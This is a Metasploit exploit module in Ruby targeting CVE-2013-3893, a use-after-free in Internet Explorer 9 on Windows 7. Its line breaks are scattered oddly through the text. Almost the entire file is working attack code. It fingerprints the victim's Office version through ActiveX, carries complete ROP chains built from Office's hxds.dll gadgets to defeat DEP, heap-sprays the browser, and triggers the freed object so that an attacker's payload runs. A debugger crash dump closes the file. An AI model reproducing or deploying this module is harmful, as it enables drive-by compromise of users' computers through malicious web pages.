##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::
HTML
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"Micorosft Internet Explorer SetMouseCapture Use-After-Free"
,
'Description'
=> %q{
This
module
exploits a use-after-free vulnerability that currents targets Internet
Explorer
9
on Windows
7
, but the flaw should exist
in
versions
6
/
7
/
8
/
9
/
10
/
11
.
It was initially found
in
the wild
in
Japan, but other regions such as English,
Chinese, Korean, etc, were targeted as well.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
reference during an event. An attacker first can setup two elements, where the second
is the child of the first,
and
then
setup a onlosecapture event handler
for
the parent
element. The onlosecapture event seems to require two setCapture() calls to trigger,
one
for
the parent element, one
for
the child. When the setCapture() call
for
the child
element is called, it finally triggers the event, which allows the attacker to cause an
arbitrary memory release using document.write(), which
in
particular frees up a 0x54-byte
memory. The exact size of this memory may differ based on the version of
IE
. After the
free, an invalid reference will still be kept
and
pass on to more functions, eventuall
this arrives
in
function
MSHTML
!CTreeNode::GetInterface,
and
causes a crash (
or
arbitrary
code execution)
when
this function attempts to use this reference to call what appears to
be a PrivateQueryInterface due to the offset (0x00).
To mimic the same exploit found
in
the wild, this
module
will try to use the same
DLL
from Microsoft Office
2007
or
2010
to leverage the attack.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Unknown'
,
# Exploit in the wild first spotted in Japan
'sinn3r'
# Metasploit (thx binjo for the heads up!)
],
'References'
=>
[
[
'CVE'
,
'2013-3893'
],
[
'OSVDB'
,
'97380'
],
[
'URL'
,
'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx'
]
],
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Automatic'
, {} ],
[
'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010'
, {} ]
],
'Payload'
=>
{
'BadChars'
=>
"\x00"
,
'PrependEncoder'
=>
"\x81\xc4\x80\xc7\xfe\xff"
# add esp, -80000
},
'DefaultOptions'
=>
{
'PrependMigrate'
=>
true
,
'InitialAutoRunScript'
=>
'migrate -f'
},
'Privileged'
=>
false
,
'DisclosureDate'
=>
"Sep 17 2013"
,
'DefaultTarget'
=>
0
))
end
def
is_win7_ie9?(agent)
(agent =~ /
MSIE
9
/
and
agent =~ /Windows
NT
6
\.
1
/)
end
def
get_preq_html(cli, req)
%
Q
|
<html>
<script>
function getDLL() {
var checka =
0
;
var checkb =
0
;
try {
checka =
new
ActiveXObject(
"SharePoint.OpenDocuments.4"
);
} catch (e) {}
try {
checkb =
new
ActiveXObject(
"SharePoint.OpenDocuments.3"
);
} catch (e) {}
if
((typeof checka) ==
"object"
&& (typeof checkb) ==
"object"
) {
return
"office2010"
;
}
else
if
((typeof checka) ==
"number"
&& (typeof checkb) ==
"object"
) {
return
"office2007"
;
}
return
"na"
;
}
window.onload = function() {
document.location =
"#{get_resource}/#{@exploit_page}?dll="
+ getDLL();
}
</script>
</html>
|
end
def
junk
return
rand_text_alpha(
4
).unpack(
"V"
)[
0
].to_i
end
def
get_payload(rop_dll)
code = payload.encoded
rop =
''
p =
''
case
rop_dll
when
:office2007
rop =
[
junk,
# Alignment
0x51c46f91,
# POP EBP # RETN [hxds.dll]
0x51c46f91,
# skip 4 bytes [hxds.dll]
0x51c35a4d,
# POP EBX # RETN [hxds.dll]
0xffffffff,
0x51bd90fd,
# INC EBX # RETN [hxds.dll]
0x51bd90fd,
# INC EBX # RETN [hxds.dll]
0x51bfa98e,
# POP EDX # RETN [hxds.dll]
0xffffefff,
0x51c08b65,
# XCHG EAX, EDX # RETN [hxds.dll]
0x51c1df88,
# NEG EAX # RETN [hxds.dll]
0x51c55c45,
# DEC EAX, RETN [hxds.dll]
0x51c08b65,
# XCHG EAX, EDX # RETN [hxds.dll]
0x51c4c17c,
# POP ECX # RETN [hxds.dll]
0xffffffc0,
0x51bfbaae,
# XCHG EAX, ECX # RETN [hxds.dll]
0x51c1df88,
# NEG EAX # RETN [hxds.dll]
0x51bfbaae,
# XCHG EAX, ECX # RETN [hxds.dll]
0x51c05766,
# POP EDI # RETN [hxds.dll]
0x51bfbaaf,
# RETN (ROP NOP) [hxds.dll]
0x51c2e77d,
# POP ESI # RETN [hxds.dll]
0x51bfc840,
# JMP [EAX] [hxds.dll]
0x51c05266,
# POP EAX # RETN [hxds.dll]
0x51bd115c,
# ptr to &VirtualAlloc() [IAT hxds.dll]
0x51bdf91f,
# PUSHAD # RETN [hxds.dll]
0x51c4a9f3,
# ptr to 'jmp esp' [hxds.dll]
].pack(
"V*"
)
when
:office2010
rop =
[
# 4 dword junks due to the add esp in stack pivot
junk,
junk,
junk,
junk,
0x51c41953,
# POP EBP # RETN [hxds.dll]
0x51be3a03,
# RETN (ROP NOP) [hxds.dll]
0x51c41953,
# skip 4 bytes [hxds.dll]
0x51c4486d,
# POP EBX # RETN [hxds.dll]
0xffffffff,
0x51c392d8,
# EXCHG EAX, EBX # RETN [hxds.dll]
0x51bd1a77,
# INC EAX # RETN [hxds.dll]
0x51bd1a77,
# INC EAX # RETN [hxds.dll]
0x51c392d8,
# EXCHG EAX, EBX # RETN [hxds.dll]
0x51bfa298,
# POP EDX # RETN [hxds.dll]
0xffffefff,
0x51bea84d,
# XCHG EAX, EDX # RETN [hxds.dll]
0x51bf5188,
# NEG EAX # POP ESI # RETN [hxds.dll]
junk,
0x51bd5382,
# DEC EAX # RETN [hxds.dll]
0x51bea84d,
# XCHG EAX, EDX # RETN [hxds.dll]
0x51c1f094,
# POP ECX # RETN [hxds.dll]
0xffffffc0,
0x51be5986,
# XCHG EAX, ECX # RETN [hxds.dll]
0x51bf5188,
# NEG EAX # POP ESI # RETN [hxds.dll]
junk,
0x51be5986,
# XCHG EAX, ECX # RETN [hxds.dll]
0x51bf1ff0,
# POP EDI # RETN [hxds.dll]
0x51bd5383,
# RETN (ROP NOP) [hxds.dll]
0x51c07c8b,
# POP ESI # RETN [hxds.dll]
0x51bfc7cb,
# JMP [EAX] [hxds.dll]
0x51c44707,
# POP EAX # RETN [hxds.dll]
0x51bd10bc,
# ptr to &VirtualAlloc() [IAT hxds.dll]
0x51c3604e,
# PUSHAD # RETN [hxds.dll]
0x51c541ef,
# ptr to 'jmp esp' [hxds.dll]
].pack(
"V*"
)
end
p = rop + code
p
end
def
get_exploit_html(cli, req, rop_dll)
gadgets = {}
case
rop_dll
when
:office2007
gadgets[
:spray1
] = 0x1af40020
# 0x31610020-0xc4, pointer to gadgets[:call_eax]
gadgets[
:target
] = 0x3160ff5c
# mov eax, [esi]
# push esi
# call [eax+4]
gadgets[
:call_eax
] = 0x51bd1ce8
# xchg eax,esp
# add byte [eax], al
# pop esi
# mov [edi+23c], ebp
# mov [edi+238], ebp
# mov [edi+234], ebp
# pop ebp
# pop ebx
# ret
gadgets[
:pivot
] = 0x51be4418
when
:office2010
gadgets[
:spray1
] = 0x1a7f0020
# 0x30200020-0xc4, pointer to gadgets[:call_eax]
gadgets[
:target
] = 0x301fff5c
# mov eax, [esi]
# push esi
# call [eax+4]
gadgets[
:call_eax
] = 0x51bd1a41
# xchg eax,esp
# add eax,dword ptr [eax]
# add esp,10
# mov eax,esi
# pop esi
# pop ebp # retn 4
gadgets[
:pivot
] = 0x51c00e64
end
p1 =
[
gadgets[
:target
],
# Target address
gadgets[
:pivot
]
# stack pivot
].pack(
"V*"
)
p1 << get_payload(rop_dll)
p2 =
[
gadgets[
:call_eax
]
# MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
].pack(
"V*"
)
js_s1 = Rex::Text:
:to_unescape
([gadgets[
:spray1
]].pack(
"V*"
))
js_p1 = Rex::Text.to_unescape(p1)
js_p2 = Rex::Text.to_unescape(p2)
%
Q
|
<html>
<script>
#{js_property_spray}
function loadOffice() {
}
var a =
new
Array
();
function spray() {
var obj =
''
;
for
(i=
0
; i<
20
; i++) {
if
(i==
0
) { obj += unescape(
"#{js_s1}"
); }
else
{ obj +=
"\\u4242\\u4242"
; }
}
obj +=
"\\u5555"
;
for
(i=
0
; i<
10
; i++) {
var e = document.createElement(
"div"
);
e.className = obj;
a.push(e);
}
var s1 = unescape(
"#{js_p1}"
);
sprayHeap({shellcode
:s1
, maxAllocs:0x300});
var s2 = unescape(
"#{js_p2}"
);
sprayHeap({shellcode
:s2
, maxAllocs:0x300});
}
function hit()
{
var id_0 = document.createElement(
"sup"
);
var id_1 = document.createElement(
"audio"
);
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write(
""
);
spray();
}
id_0[
'outerText'
]=
""
;
id_0.setCapture();
id_1.setCapture();
}
for
(i=
0
; i<
20
; i++) {
document.createElement(
"frame"
);
}
window.onload = function() {
loadOffice();
hit();
}
</script>
</html>
|
end
def
on_request_uri(cli, request)
agent = request.headers[
'User-Agent'
]
unless
is_win7_ie9?(agent)
print_error(
"Not a suitable target: #{agent}"
)
send_not_found(cli)
end
html =
''
if
request.uri =~ /\?dll=(\w+)$/
rop_dll =
''
if
$1
==
'office2007'
print_status(
"Using Office 2007 ROP chain"
)
rop_dll =
:office2007
elsif
$1
==
'office2010'
print_status(
"Using Office 2010 ROP chain"
)
rop_dll =
:office2010
else
print_error(
"Target does not have Office installed"
)
send_not_found(cli)
return
end
html = get_exploit_html(cli, request, rop_dll)
else
print_status(
"Checking target requirements..."
)
html = get_preq_html(cli, request)
end
send_response(cli, html, {
'Content-Type'
=>
'text/html'
,
'Cache-Control'
=>
'no-cache'
})
end
def
exploit
@exploit_page
=
"default.html"
super
end
end
=
begin
hxds.dll (Microsoft® Help Data Services
Module
)
2007
DLL
info:
ProductVersion:
2
.
05
.
50727
.
198
FileVersion:
2
.
05
.
50727
.
198
(
QFE
.
050727
-
1900
)
2010
DLL
info:
ProductVersion:
2
.
05
.
50727
.
4039
FileVersion:
2
.
05
.
50727
.
4039
(
QFE
.
050727
-
4000
)
mshtml.dll
ProductVersion:
9
.
00
.
8112
.
16446
FileVersion:
9
.
00
.
8112
.
16446
(
WIN7_IE9_GDR
.
120517
-
1400
)
FileDescription: Microsoft (
R
)
HTML
Viewer
0
:
005
> r
eax=
41414141
ebx=6799799c ecx=679b6a14 edx=
00000000
esi=00650d90 edi=021fcb34
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=
0
nv up ei pl zr na pe nc
cs=001b ss=
0023
ds=
0023
es=
0023
fs=003b gs=
0000
efl=
00010246
MSHTML
!CTreeNode::GetInterface+0xd8:
679b6b61 8b08 mov ecx,dword ptr [eax] ds:
0023
:
41414141
=????????
66e13df7 8b0e mov ecx,dword ptr [esi]
66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 -
63580000
)
66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h]
66e13e01 ffd0 call eax
=
end